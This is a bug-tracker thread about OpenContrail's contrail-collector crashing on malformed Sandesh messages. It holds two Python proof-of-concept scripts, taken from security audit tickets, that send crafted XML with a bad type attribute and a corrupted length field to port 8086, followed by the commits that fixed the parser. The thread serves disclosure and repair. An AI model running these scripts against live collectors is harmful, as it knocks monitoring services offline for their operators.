Invalid sandesh data leads to bad parsing and restart of the contrail-collector process

[Raj Reddy]

This tracks the following security audit PRs.

https://gnats.juniper.net/web/default/1048084-1
https://gnats.juniper.net/web/default/1048082-1

--------------
https://gnats.juniper.net/web/default/1048084-1

When the Sandesh collector application fails to parse a SandeshHeader with a bad type attribute (example: type="i128") the service crashes with a assertion error.
[REPRO]
Run the following script:
$ python script.py COLLECTORIP
#### script.py #####
import socket, sys
source_id = "TESTS" def build_xml(data):
data_size = len(data) + 8
data = data % (data_size, source_id, source_id) print "\t[*] original: %d" % 1676
print "\t[*] length: %d\n\n" % data_size
return data
if len(sys.argv) < 2:
print "USAGE: script.py [REMOTEIP]" sys.exit()
data = """<sandesh length="000000%d"><SandeshHeader><Namespace type="string" identifier="1"></Namespace><Timestamp type="i128" identifier="2">1416599775478623</Timestamp><Module type="string" identifier="3">Contrail-Vrouter- Nodemgr</Module><Source type="string" identifier="4">%s</Source><Context type="string" identifier="5">ctrl</Context><SequenceNum type="i32" identifier="6">1</SequenceNum><VersionSig
type="i32" identifier="7">-340245130</VersionSig><Type type="i32" identifier="8">2</Type><Hints type="i32" identifier="9">2</Hints><Level type="i32" identifier="10">2147483647</Level><Category type="string" identifier="11"></Category><NodeType type="string" identifier="12">Compute</NodeType><InstanceId type="string" identifier="13">0</InstanceId></SandeshHeader><SandeshCtrlClientToServer type="sandesh"><source type="string" identifier="1">%s</source><module_name type="string" identifier="2">Contrail-Vrouter-Nodemgr</module_name><sucessful_connections type="u32" identifier="3">1</sucessful_connections><uve_types type="list" identifier="4"><list type="string" size="8"><element>NodeStatusUVE</element><element>UveVirtualNetworkAgentTrace</element>< element>VirtualMachineStatsTrace</element><element>UveVrouterAgent</element><element>Sand
eshModuleClientTrace</element><element>ComputeCpuStateTrace</element><element>VrouterStat s</element><element>UveVirtualMachineAgentTrace</element></list></uve_types><pid type="u32" identifier="5">1845</pid><http_port type="u32" identifier="6">0</http_port><node_type_name type="string" identifier="7">Compute</node_type_name><instance_id_name type="string"
identifier="8">0</instance_id_name></SandeshCtrlClientToServer></sandesh>"""
host = sys.argv[1] port = 8086
msg_size=4096
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port))
print "[*] Connected"
print "[*] Sending [1]" sock.send(build_xml(data))
print "[*] Exiting!" sock.close()
[/REPRO]
--------------

https://gnats.juniper.net/web/default/1048082-1

When a invalid length is supplied to the collector in the the sandesh message header, it can cause the task manager to fail with an assertion error thus causing the service to crash with the following error: controller/src/base/task.cc:238: virtual tbb::task* TaskImpl::execute(): Assertion `0' failed.
[REPRO]
run the following script and give it a single argument (the contrail collector IP), while monitoring the process in GDB.
#### script.py #####
import socket, sys, time import xml.dom.minidom
source_id = "TESTS"
def build_xml(data):
data_size = len(data) + 8
data = data % (data_size, source_id, source_id) print "\t[*] original: %d" % 1676
print "\t[*] length: %d\n\n" % data_size
return data
def prettyPrintXml(data):
xml_dom = xml.dom.minidom.parseString(data)
return xml_dom.toprettyxml()
if len(sys.argv) < 2:
print "USAGE: script.py [REMOTEIP]" sys.exit()
data = """<sandesh length="000000%d"><SandeshHeader><Namespace type="string" identifier="1"></Namespace><Timestamp type="i64" identifier="2">1416599775478623</Timestamp><Module type="string" identifier="3">Contrail-Vrouter- Nodemgr</Module><Source type="string" identifier="4">%s</Source><Context type="string"
identifier="5">ctrl</Context><SequenceNum type="i32" identifier="6">1</SequenceNum><VersionSig type="i32" identifier="7">-340245130</VersionSig><Type type="i32" identifier="8">2</Type><Hints type="i32" identifier="9">2</Hints><Level type="i32" identifier="10">2147483647</Level><Category type="string" identifier="11"></Category><NodeType type="string" identifier="12">Compute</NodeType><InstanceId type="string"
identifier="13">0</InstanceId></SandeshHeader><SandeshCtrlClientToServer type="sandesh"><source type="string" identifier="1">%s</source><module_name type="string" identifier="2">Contrail-Vrouter-Nodemgr</module_name><sucessful_connections type="u32" identifier="3">1</sucessful_connections><uve_types type="list" identifier="4"><list type="string" size="8"><element>NodeStatusUVE</element><element>UveVirtualNetworkAgentTrace</element>< element>VirtualMachineStatsTrace</element><element>UveVrouterAgent</element><element>Sand eshModuleClientTrace</element><element>ComputeCpuStateTrace</element><element>VrouterStat s</element><element>UveVirtualMachineAgentTrace</element></list></uve_types><pid type="u32" identifier="5">1845</pid><http_port type="u32" identifier="6">0</http_port><node_type_name
type="string" identifier="7">Compute</node_type_name><instance_id_name type="string" identifier="8">0</instance_id_name></SandeshCtrlClientToServer></sandesh>"""
data2= """<sandesh length="\xff\xff\xff\xff003622"><SandeshHeader><Namespace type="string" identifier="1"></Namespace><Timestamp type="i64" identifier="2">1417027827171965</Timestamp><Module type="string" identifier="3">Contrail-Control- Nodemgr</Module><Source type="string" identifier="4">TESTS</Source><Context type="string" identifier="5"></Context><SequenceNum type="i32" identifier="6">4</SequenceNum><VersionSig type="i32" identifier="7">1786433405</VersionSig><Type type="i32" identifier="8">6</Type><Hints type="i32" identifier="9">1</Hints><Level type="i32" identifier="10">2147483647</Level><Category type="string" identifier="11"></Category><NodeType type="string" identifier="12">Control</NodeType><InstanceId type="string" identifier="13">0</InstanceId></SandeshHeader><NodeStatusUVE type="sandesh"><data type="struct" identifier="1"><NodeStatus><name type="string" identifier="1" key="ObjectBgpRouter">TESTS</name><process_info type="list" identifier="5" aggtype="union"><list type="struct" size="4"><ProcessInfo><process_name type="string" identifier="1">contrail-
control</process_name><process_state type="string" identifier="2">PROCESS_STATE_RUNNING</process_state><start_count type="u32" identifier="3">1</start_count><stop_count type="u32" identifier="4">0</stop_count><exit_count type="u32" identifier="5">0</exit_count><last_start_time type="string" identifier="6">1416866253239819</last_start_time><last_stop_time type="string" identifier="7"></last_stop_time><last_exit_time type="string" identifier="8"></last_exit_time><core_file_list type="list" identifier="9"><list type="string" size="0"></list></core_file_list></ProcessInfo><ProcessInfo><process_name type="string" identifier="1">contrail-control-nodemgr</process_name><process_state type="string" identifier="2">PROCESS_STATE_RUNNING</process_state><start_count type="u32"
identifier="3">1</start_count><stop_count type="u32" identifier="4">0</stop_count><exit_count type="u32" identifier="5">0</exit_count><last_start_time type="string" identifier="6">1416866251229764</last_start_time><last_stop_time type="string" identifier="7"></last_stop_time><last_exit_time type="string"
size="0"></list></core_file_list></ProcessInfo><ProcessInfo><process_name type="string" identifier="1">contrail-dns</process_name><process_state type="string" identifier="2">PROCESS_STATE_RUNNING</process_state><start_count type="u32" identifier="3">1</start_count><stop_count type="u32" identifier="4">0</stop_count><exit_count type="u32" identifier="5">0</exit_count><last_start_time type="string" identifier="6">1416866255246017</last_start_time><last_stop_time type="string" identifier="7"></last_stop_time><last_exit_time type="string" identifier="8"></last_exit_time><core_file_list type="list" identifier="9"><list type="string"
size="0"></list></core_file_list></ProcessInfo><ProcessInfo><process_name type="string" identifier="1">contrail-named</process_name><process_state type="string" identifier="2">PROCESS_STATE_RUNNING</process_state><start_count type="u32" identifier="3">1</start_count><stop_count type="u32" identifier="4">0</stop_count><exit_count type="u32" identifier="5">0</exit_count><last_start_time type="string" identifier="6">1416866257248333</last_start_time><last_stop_time type="string" identifier="7"></last_stop_time><last_exit_time type="string" identifier="8"></last_exit_time><core_file_list type="list" identifier="9"><list type="string" size="0"></list></core_file_list></ProcessInfo></list></process_info></NodeStatus></data></NodeSta tusUVE></sandesh>"""
host = sys.argv[1] port = 8086
msg_size=4096
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port))
print "[*] Connected"
print "[*] Sending [1]" sock.send(build_xml(data))
data = sock.recv(msg_size)
print "\n[*] Got Data:\n\n%s\n\n" % (prettyPrintXml(data)) # time.sleep(5)
print "[*] Sending [2]" sock.send(data2)
# print "[*] Sending [3]"
# sock.send(build_xml(data3))
data = sock.recv(msg_size)
print "\n[*] Got Data:\n\n%s\n\n" % (data)
print "[*] Exiting!" sock.close()
###########

run the following script and give it a single argument (the contrail collector IP), while monitoring the process in GDB.

[OpenContrail Admin (ci-admin-f)]

Review in progress for https://review.opencontrail.org/15409
Submitter: Nikhil Bansal (<email address hidden>)

[OpenContrail Admin (ci-admin-f)]

Review in progress for https://review.opencontrail.org/16005
Submitter: Nikhil Bansal (<email address hidden>)

[OpenContrail Admin (ci-admin-f)]

Reviewed: https://review.opencontrail.org/16005
Committed: http://github.org/Juniper/contrail-controller/commit/9eabbf28286b20ef9451f4ae4d6c36bcfba247c2
Submitter: Zuul
Branch: master

commit 9eabbf28286b20ef9451f4ae4d6c36bcfba247c2
Author: Nikhil B <email address hidden>
Date: Thu Dec 24 08:27:39 2015 +0530

Issue while passing 0 as uint8 to stringstream

This issue was uncovered while fixing 1514923
XML passed from query engine had a NULL characted which was truncating the xml
and collector was not able to parse it.
Partial-Bug: 1514923

Change-Id: I297de0adcaeda0056a4bbc3fdc3f5d30a5230c9f

[OpenContrail Admin (ci-admin-f)]

Review in progress for https://review.opencontrail.org/16025
Submitter: Nikhil Bansal (<email address hidden>)

[OpenContrail Admin (ci-admin-f)]

Reviewed: https://review.opencontrail.org/16025
Committed: http://github.org/Juniper/contrail-controller/commit/887e46967aa85f86766b6ff0ee338443508f9580
Submitter: Zuul
Branch: master

commit 887e46967aa85f86766b6ff0ee338443508f9580
Author: Nikhil B <email address hidden>
Date: Tue Dec 29 08:52:05 2015 +0530

One more Issue while passing uint8 to stringstream

This issue was uncovered while fixing 1514923
XML passed from query engine had a NULL characted which was truncating the xml
and collector was not able to parse it.
Partial-Bug: 1514923

Change-Id: Ib33ae8d84a1ab9dbcb4a19d44bb7397ddf6df1c0

[OpenContrail Admin (ci-admin-f)]

Reviewed: https://review.opencontrail.org/15409
Committed: http://github.org/Juniper/contrail-sandesh/commit/33fa38c02065dd9576458bbe1b261b84a3028891
Submitter: Zuul
Branch: master

commit 33fa38c02065dd9576458bbe1b261b84a3028891
Author: Nikhil B <email address hidden>
Date: Wed Nov 25 09:32:07 2015 +0530

Checking errors while parsing sandesh message

Sandesh parser crashes if it sees an unkown type like i128, it should log an
error and move on. Similarly, if sandesh header length is invalid, parser
throws an exception. This is also changed to logging the error and move on

Change-Id: Ic90e97b74dc00667eabe261148450280d103e353
Closes-Bug: 1514923